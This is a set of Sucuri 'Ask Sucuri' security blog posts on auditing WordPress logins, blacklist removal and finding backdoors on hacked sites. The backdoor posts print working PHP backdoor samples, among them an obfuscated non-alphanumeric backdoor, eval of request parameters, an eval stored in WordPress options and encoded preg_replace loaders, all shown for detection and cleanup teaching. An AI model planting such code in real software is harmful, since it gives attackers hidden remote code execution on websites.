Ask Sucuri: Who is logging into my WordPress site?

Today, we’re going to revisit our Q&A series. If you have any questions about malware, blacklisting, or security in general, send them to us at: For all the “Ask Sucuri” answers, go here.

Question: How do I know who is logging into my WordPress site?

Answer: One of the most basic and important security aspects of any system is access control, specifically logging your access control point. It defines who can do what and where and under what circumstances. However, access control without the proper enforcement and auditing is like a law that is not enforced by the police; it loses its meaning.

WordPress has a very powerful access control tool, known as roles and capabilities, that allows you to specify what each user can do. However, it lacks good auditing capabilities. The purpose of auditing, i.e. logging, is to give administrators visibility into what is happening on the website at any given time.

Auditing is a very broad term. We could go in depth into the various elements that you, as an administrator, should audit. However, for this post we’re going to focus on your access control, specifically who is logging in.

Sucuri WordPress Security Plugin – Last Logins Feature

Out-of-the-box, the WordPress CMS does not provide auditing, nor does it include any type of authentication auditing for successful logins. For this reason, we have added both capabilities to our Free WordPress Security plugin.

The plugin allows administrators to see who is and has logged into your website. It includes attributes like location (i.e. where) and time. It’s known as the Last Logins feature (it’s based off the Linux “last” command).

This is what it looks like in your dashboard:


It will list the users, IP addresses (hidden in the image) and the time of the login.

If you want to know who is logging in to your site (from when and from where), then leverage our Free WordPress Security plugin.

Note that it will only start logging the users, after you install it. So as soon you add the plugin, the last-logins table will be empty. But if you try to logout/log back in to WordPress, you should start to see it populating.

Importance of Auditing Your Access Control

For website administrators, we cannot stress the importance of logging activity, such as user log ins, enough. We handle various incidents on a daily basis where the website owner has no idea as to who is and isn’t logging into their environment.

Often, after a compromise, the forensics team will work with the website owner to understand what was going on. In many instances, basic auditing would have informed the client that something was not right. Here are some examples:

  1. Website owner works on the Pacific Coast, yet his user is logging in from China with his username and password
  2. Website owner is sleeping, yet somehow, the client’s user is still logging in
  3. A new user is logging into the environment every day and the website owner never created the user or it’s a single user website

Are you able to say, confidently, that this is not happening to you? If the answer is, “Yes,” then congratulations, you’re adhering to the auditing basics. If the answer is, “No,” then you should seriously consider downloading our free plugin.

Ask Sucuri: Non-alphanumeric Backdoors

If you have any questions about malware, blacklisting, or security in general, send them to and we will write a post about it and share. For all the “Ask Sucuri” answers, go here.

Question: My site got hacked and I am seeing this backdoor with no alpha numeric characters. What is it doing?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__< <$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Answer: Backdoors are tools used by attackers to help them maintain access to the sites they compromise. The harder it is to find the backdoor, the better for the attackers, since it will likely remain undetected allowing them to reinfect or regain access to the site whenever they want.

This backdoor is a very good example of a sneaky one. No alpha numeric characters, no direct function calls or anything like that. So what is it doing? We asked one of our developers, Yorman Arias, to help decode it.

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Ask Sucuri: How does SiteCheck work?

If you have any questions about malware, blacklisting, or security in general, send it to us: and we will answer here. For all the “Ask Sucuri” answers, go here.

Question: How does SiteCheck work? I just scanned a site that I think is compromised but the scanner is showing it as clean. Is my site really clean or did you make a mistake?

Answer: SiteCheck is our free, remote website scanner that works to identify if the provided site is infected with any type of malware (including SPAM) or if it’s been blacklisted or defaced.

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ASK Sucuri: What should I do if my email is in the Yahoo Leak?

We love to get questions from you, our readers, in our Ask Sucuri series. If you have any questions about website malware, blacklisting, or security in general, send us an email to: or hit us on Twitter – @sucuri_security.

Yesterday we released a blog post about the Yahoo Leak, and created an online tool to check if your email was exposed in the leak. Since then, we have received hundreds of emails asking what should be done for anyone whose account was compromised.

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Ask Sucuri: What should I know when engaging a Web Malware Company?

We work in a business in which it is always chaos. In most situations the client is often distraught, vulnerable, and is plagued with this feeling of being out of control. It is the business of web malware cleanup. The last thing any website owner wants is to delay the cleanup process because of silly things that could have been easily prevented.

In our mind, there are three things you must know before engaging with any web malware company:

  • Know Your Host
  • Know How to Access Your Server
  • Have a Backup

As simple as they may appear, they still remain allusive to many.
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Ask Sucuri: How to Stop The Hacker and ensure Your Site is Locked!!

With the rise in web malware over the last 6 – 12 months, it’s important that we take some time to continue to educate and offer insight into ways that can help you stay ahead, in the hopes of stopping the hacker.

Understanding The Hacker

Before we get started, lets take a look at the name “Hacker.” What many folks don’t realize is that while “Hacker” is often associated with bad, it also has a good association.

To the popular press, “hacker” means someone who breaks into computers. Among programmers it means a good programmer. But the two meanings are connected. To programmers, “hacker” connotes mastery in the most literal sense: someone who can make a computer do what he wants—whether the computer wants to or not. – source: Paul Graham

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A Little Tale About Website Cross-Contamination

Mary has a site that she really cares about, its called She has learned how to monetize her blog through the use of ads, this allows her to make her living. She uses WordPress and always keep it updated. She also keeps her plugins updated, uses strong passwords, accesses the admin panel via SSL and takes all the security recommendations very seriously.

She uses a shared server and her host offers her unlimited domains. Over the years she has taken advantage of this offering, adding a few sites here and there. One such site was, it’s used to try new themes and plugins.

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Ask Sucuri: Talk More About Web-Based Malware

If you have any questions about malware, blacklisting, or security in general, send it to us: and we will answer here.

For all the “Ask Aucuri” answers, go here.

Question: My site got hacked and it is distributing malware. Why would anyone do that to me? I don’t know much about viruses on web sites. How do they work?

This is a question we get very often. How can a site have a “virus”? Where does it hide? How does it work? Why would anyone hack my site?

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Ask Sucuri: How Long Does It Take For a Site To Be Removed From Google’s Blacklist? – Updated

If you have any questions about malware, blacklisting, or security in general, send it over to us: and we will answer here. For all the “Ask Sucuri” answers, click here

This is an update to our previous post about Google blacklisting. We have some updated numbers to share.

Question: My site was hacked and we cleaned and secured it properly. We also scanned it, and it is showing up as clean. However, it is still blacklisted by Google. How long until they remove us?

Answer: This is a very common question. In fact, every time we clear a hacked site, their owner asks us the same question: How long until that scary red warning sign is gone?

To give a solid answer to our clients, we started to time how long it takes from when the review submission is requested, until the site is reviewed and removed by Google. We have now measured a few hundred blacklist removals and we have some good numbers to back up our tests.

Current Results:

  • Average time from submission to removal: 440 minutes (about 7 hours)
  • Maximum time: 792 (13 hours)
  • Minimum time: 290 (a bit less than 5 hours)

On average, it takes Google around 7 hours to clear your “bad” website from their lists. For our lucky clients, it takes roughly 5-6 hours. Another important point that some people forget is that you need to request a review! Google will not automatically remove a site once cleaned.

How do you increase your odds of getting cleared faster?

  1. Make sure to clean everything up!
  2. Do not remove the infected files, fix them. If you remove them, they will 404, and a 404 will delay the verification (even if you need to leave the file with a 0-size, don’t remove it until after the site is de-listed).
  3. Follow best practices to increase security on your site so that you minimize the risk of reinfection.

That’s it. Let us know if you have any questions or comments.

Is your site hacked? Blacklisted? We are here to help! We can get your sites cleaned up and secured right away!

ASK Sucuri: What about the backdoors?

If you have any question about malware, blacklisting, or security in general, send it to us: and we will answer here. For all the “ask sucuri” answers, go here.

Question: What about the backdoors? Why are they so hard to find? How do you guys find them?

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of malware, backdoors.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small and be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

On most online forums, people tell you to search for “eval (base64_decode” and things like that to identify hidden backdoors, but that’s likely not to find everything (and your site will just get reinfected).

For example, on the latest oscommerce compromises, all the sites had the following code added to the application_top.php file:

if (isset($_REQUEST[\'asc\'])) eval(stripslashes($_REQUEST[\'asc\']));

Yes, that is a backdoor. It allows the attacker to execute any type of code, add files, remove files, etc. When you are analysing thousands of lines of code, it is easy to miss it.

What about this one:


What you think? Yes, another backdoor, but this time the bulk of it is hidden inside an image (void.jpg). See what we mean, by being hard to detect and search for?

Fun Quiz: Find the backdoor?

Since backdoors can be in any type or shape, let’s look at some examples:

The “Filesman” backdoor, big, complex and easy to find:

$auth_pass = “63a9f0ea7bb98050796b649e85481845″;
$color = “#df5″;
$default_action = “SQL”;
$default_charset = “Windows-1251″;
$protectionoffer = “ficken”;
preg_replace(“/.*/e”,”\x65\x76\x61\x6C\.. hundreds more lines..

Another simple backdoor, executing any code from the “php” request:

eval (base64_decode($_POST["php"]));

A WordPress-based backdoor. This time, the bad content is hidden inside the database (wp-options tables)

return @eval(get_option(\’blogopt1\’));

A messy backdoor we are seeing in the latest timthumb.php attacks. On this case, all the variables are completely random per case and per file:

>function aknhtkmml3($ur5){$dtuq=’$u’;$pnt=’e6′;$p5zy=’r’;$xcl4=’e(‘;$feuh=’od’;$qjka=’dec’;$rhi=’$u’;
return $ur5;}$sk25=’M3JffC1WcjMrVi1fVHVOKDpoTSIoMGJUNzdXLVZyMytWX1R1Tig6a…

Another messy one. Do you know how the code is executed there? Preg_replace with the “e” modifier actually acts like an “eval”:

$llllllll=’ZnVuY3Rpb24gZnVu3STVFNmxObm1V… LONG LINE of code.. dXBoQmRxemtuRE1SSXJwdjUwd3NWUUhrWmV3dWFKbHUvZzVpc1JKa0M1TWF2RFVMV1cwUG1XKzJF
$lllllllll=pack(‘H*’, ’406576616c286261736536345f6465636f646528′).’\$llllllll))’;
preg_replace($llllll, $lllllllll, $lllllll);

Searching for base64_decode? Well, what happens when the attackers do this:

<?php $XKsyG=’as’;$RqoaUO=’e’;$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t’;$joEDdb

And those are just some simple examples…


So, how to find backdoors?

Finding them is very hard, but inside Sucuri we were able to come up with some techniques that work very well:

  1. White listing. We know how the good files look like. We have a large checksum set of all the core WordPress, Joomla, osCommerce, Wiki, etc, etc files. We also have the checksum for the most popular plugins, modules, extensions and themes. Do you know what that gives us? We know right away if any of the core files were modified (or a new one added) and we can ignore safely the good ones.
  2. Black listing. We also have a list with thousands of backdoors (and their variations) that we have been finding in the last few years.
  3. Anomaly checks. When a file is not in our white list (core files) and not in our blacklist, we do our anomaly checks, where all the functions/variables are analysed and manually inspected to see if they are a backdoor. If it is, we modify our blacklists to catch them in the future, if not, another file to our white list…

So we mix white listing + blacklisting and our own manual analysis to find all the backdoors in a site. If you are trying to clean a compromised site by your self, we recommend first overwriting all the files you can (core files, plugins, etc). Of what is left, you have to analyse manually to make sure it is clean…

What do you think? I would love to hear other ideas to identify backdoors that you guys are using.

Need someone to secure and clean a hacked site? Sign up with us here: http://sucuri,net/signup.